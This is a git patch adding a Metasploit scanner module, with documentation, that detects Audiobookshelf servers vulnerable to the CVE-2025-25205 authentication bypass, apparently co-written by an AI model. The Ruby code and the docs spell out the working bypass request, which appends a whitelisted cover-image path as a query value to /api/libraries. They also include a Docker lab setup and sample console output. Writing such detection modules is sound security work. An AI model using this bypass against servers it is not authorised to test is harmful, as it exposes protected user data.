From 86e971c092933939e8d24f2a70b19679a4a73dc9 Mon Sep 17 00:00:00 2001 From: Kenneth LaCroix <53909268+kenlacroix@users.noreply.github.com> Date: Sat, 13 Jun 2026 08:22:47 -0600 Subject: [PATCH] Add Audiobookshelf authentication bypass scanner (CVE-2025-25205) Adds an auxiliary/scanner/http module that detects Audiobookshelf servers vulnerable to CVE-2025-25205, an unauthenticated API authentication bypass in versions 2.17.0 through 2.19.0. The module fingerprints the server via the unauthenticated /status endpoint and confirms the bypass with a differential check against /api/libraries. Co-Authored-By: Claude Opus 4.8 (1M context) --- .../http/audiobookshelf_auth_bypass.md | 97 ++++++++++++ .../http/audiobookshelf_auth_bypass.rb | 145 ++++++++++++++++++ 2 files changed, 242 insertions(+) create mode 100644 documentation/modules/auxiliary/scanner/http/audiobookshelf_auth_bypass.md create mode 100644 modules/auxiliary/scanner/http/audiobookshelf_auth_bypass.rb diff --git a/documentation/modules/auxiliary/scanner/http/audiobookshelf_auth_bypass.md b/documentation/modules/auxiliary/scanner/http/audiobookshelf_auth_bypass.md new file mode 100644 index 0000000000000..13f9304352db5 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/audiobookshelf_auth_bypass.md @@ -0,0 +1,97 @@ +## Vulnerable Application + +[Audiobookshelf](https://www.audiobookshelf.org/) is a self-hosted audiobook and +podcast server. Versions **2.17.0 through 2.19.0** are affected by +[CVE-2025-25205](https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-pg8v-5jcv-wrvw), +an unauthenticated authentication bypass. + +The authentication middleware (`server/Auth.js`) decides whether a `GET` request +may skip authentication by testing unanchored regular expressions +(`/\/api\/items\/[^/]+\/cover/` and `/\/api\/authors\/[^/]+\/image/`) against +`req.originalUrl`, which includes the query string, instead of the normalized +`req.path`. An unauthenticated request to a protected API endpoint that appends a +query value containing one of those substrings — for example +`/api/libraries?r=/api/items/1/cover` — satisfies the "auth not needed" check +while Express still routes it to the protected handler. Depending on the endpoint +this leaks protected data, or returns an HTTP 500 where the handler dereferences +the now-undefined user object. The issue was fixed in **2.19.1** by anchoring the +patterns and matching `req.path`. + +This module fingerprints the server and version through the unauthenticated +`/status` endpoint, then performs a differential check against the protected +`/api/libraries` endpoint: a baseline request that a server normally rejects with +HTTP 401, and a bypass request carrying the whitelisted substring. On a vulnerable +server the auth check is skipped and the bypass request is processed (HTTP 200, or +500 because the handler runs without a user); a patched server returns 401 to +both. The 500 is request-level and the server stays up. The module deliberately +avoids endpoints such as `/api/users` that crash the server process (the +denial-of-service half of this CVE). + +### Setup with Docker + +A vulnerable instance can be run with the official image pinned to a vulnerable +tag: + +``` +docker run -d --name abs-vuln -p 13378:80 ghcr.io/advplyr/audiobookshelf:2.19.0 +``` + +Browse to `http://127.0.0.1:13378` and complete the initial root-user setup. This +is required: before initialization the server returns HTTP 500 to the protected +API. After setup, the bypass request to `/api/libraries` returns HTTP 500 on a +vulnerable server (the auth check is skipped and the handler runs without a user), +which the module treats as confirmation; the same request returns HTTP 401 on a +patched server. + +To confirm the true-negative behavior, run a patched instance on a different port +and complete its setup the same way: + +``` +docker run -d --name abs-patched -p 13379:80 ghcr.io/advplyr/audiobookshelf:2.19.1 +``` + +## Verification Steps + +1. Start a vulnerable Audiobookshelf instance and complete its setup (see Setup with Docker) +1. Start `msfconsole` +1. Do: `use auxiliary/scanner/http/audiobookshelf_auth_bypass` +1. Do: `set RHOSTS ` +1. Do: `set RPORT 13378` +1. Do: `run` +1. The module reports the detected version and confirms the authentication bypass + +## Options + +### TARGETURI + +The base path to the Audiobookshelf application. Defaults to `/`. Set this when +Audiobookshelf is served from a sub-path behind a reverse proxy. + +## Scenarios + +### Audiobookshelf 2.19.0 (vulnerable) + +``` +msf6 > use auxiliary/scanner/http/audiobookshelf_auth_bypass +msf6 auxiliary(scanner/http/audiobookshelf_auth_bypass) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf6 auxiliary(scanner/http/audiobookshelf_auth_bypass) > set RPORT 13378 +RPORT => 13378 +msf6 auxiliary(scanner/http/audiobookshelf_auth_bypass) > run + +[+] 127.0.0.1:13378 - Audiobookshelf 2.19.0 - unauthenticated API authentication bypass confirmed (CVE-2025-25205) +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` + +### Audiobookshelf 2.19.1 (patched, true-negative) + +``` +msf6 auxiliary(scanner/http/audiobookshelf_auth_bypass) > set RPORT 13379 +RPORT => 13379 +msf6 auxiliary(scanner/http/audiobookshelf_auth_bypass) > run + +[*] 127.0.0.1:13379 - Audiobookshelf 2.19.1 - not vulnerable (authentication enforced) +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/modules/auxiliary/scanner/http/audiobookshelf_auth_bypass.rb b/modules/auxiliary/scanner/http/audiobookshelf_auth_bypass.rb new file mode 100644 index 0000000000000..eb85ba370efdc --- /dev/null +++ b/modules/auxiliary/scanner/http/audiobookshelf_auth_bypass.rb @@ -0,0 +1,145 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # Affected range per the advisory: 2.17.0 <= version <= 2.19.0 (patched in 2.19.1). + VULNERABLE_MIN = Rex::Version.new('2.17.0') + PATCHED_VERSION = Rex::Version.new('2.19.1') + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Audiobookshelf Unauthenticated API Authentication Bypass Scanner', + 'Description' => %q{ + This module detects Audiobookshelf servers affected by CVE-2025-25205, an + unauthenticated authentication bypass. Affected versions (2.17.0 through + 2.19.0) decide whether a GET request may skip authentication by testing an + unanchored regular expression against the request's full original URL, + including the query string, rather than the normalized path. By appending a + query parameter whose value contains a whitelisted substring such as + /api/items/1/cover, an unauthenticated client reaches protected API + endpoints. + + The module fingerprints the server and version through the unauthenticated + /status endpoint, then sends two requests to the protected /api/libraries + endpoint: a baseline request that must be rejected with HTTP 401, and a + bypass request carrying the whitelisted substring in its query string. On a + vulnerable server the bypass request is processed instead of rejected, which + this module treats as confirmation. It deliberately avoids endpoints such as + /api/users that crash the server process (the denial-of-service half of this + CVE). + }, + 'Author' => [ + 'swiftbird07', # vulnerability discovery and advisory + 'Kenneth LaCroix' # Metasploit module + ], + 'References' => [ + ['CVE', '2025-25205'], + ['GHSA', 'pg8v-5jcv-wrvw'], + ['URL', 'https://github.com/advplyr/audiobookshelf/commit/ec6537656925a43871b07cfee12c9f383844d224'] + ], + 'DisclosureDate' => '2025-02-12', + 'License' => MSF_LICENSE, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS] + }, + 'DefaultOptions' => { 'RPORT' => 13_378, 'SSL' => false } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to Audiobookshelf', '/']) + ] + ) + end + + # Fingerprint the target via the unauthenticated /status endpoint. + # Returns the reported server version string, or nil if this does not look + # like an Audiobookshelf instance. + def fingerprint_version + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'status') + ) + return nil unless res && res.code == 200 + + json = res.get_json_document + return nil unless json.is_a?(Hash) && json['app'].to_s.casecmp?('audiobookshelf') + + json['serverVersion'] + end + + # Differential auth-bypass check against the protected /api/libraries endpoint: + # a baseline request must be rejected with HTTP 401, while the bypass request + # (carrying a whitelisted substring in its query) is processed instead of + # rejected. On a vulnerable server the bypass request reaches the handler, which + # returns 200 or 500 (the handler dereferences the now-undefined user); a patched + # server returns 401 to both. + def auth_bypassed? + baseline = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'libraries') + ) + return false unless baseline && baseline.code == 401 + + bypass = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'api', 'libraries'), + 'vars_get' => { 'r' => '/api/items/1/cover' } + ) + return false unless bypass + + bypass.code == 200 || (bypass.code >= 500 && bypass.code <= 599) + end + + def check_host(_ip) + version = fingerprint_version + return Exploit::CheckCode::Unknown('Target does not appear to be Audiobookshelf') if version.nil? + + return Exploit::CheckCode::Vulnerable("Audiobookshelf #{version} - authentication bypass confirmed") if auth_bypassed? + + begin + parsed = Rex::Version.new(version) + if parsed >= VULNERABLE_MIN && parsed < PATCHED_VERSION + return Exploit::CheckCode::Appears("Audiobookshelf #{version} is in the affected range but the bypass was not confirmed") + end + rescue ArgumentError + # Unparsable version string; fall through to Safe with the raw value. + end + + Exploit::CheckCode::Safe("Audiobookshelf #{version} - bypass not confirmed") + end + + def run_host(_ip) + version = fingerprint_version + unless version + vprint_status("#{peer} - Target does not appear to be Audiobookshelf") + return + end + vprint_status("#{peer} - Audiobookshelf #{version} detected") + + unless auth_bypassed? + print_status("#{peer} - Audiobookshelf #{version} - not vulnerable (authentication enforced)") + return + end + + print_good("#{peer} - Audiobookshelf #{version} - unauthenticated API authentication bypass confirmed (CVE-2025-25205)") + report_vuln( + host: rhost, + port: rport, + name: name, + info: "Audiobookshelf #{version} unauthenticated API authentication bypass", + refs: references + ) + end +end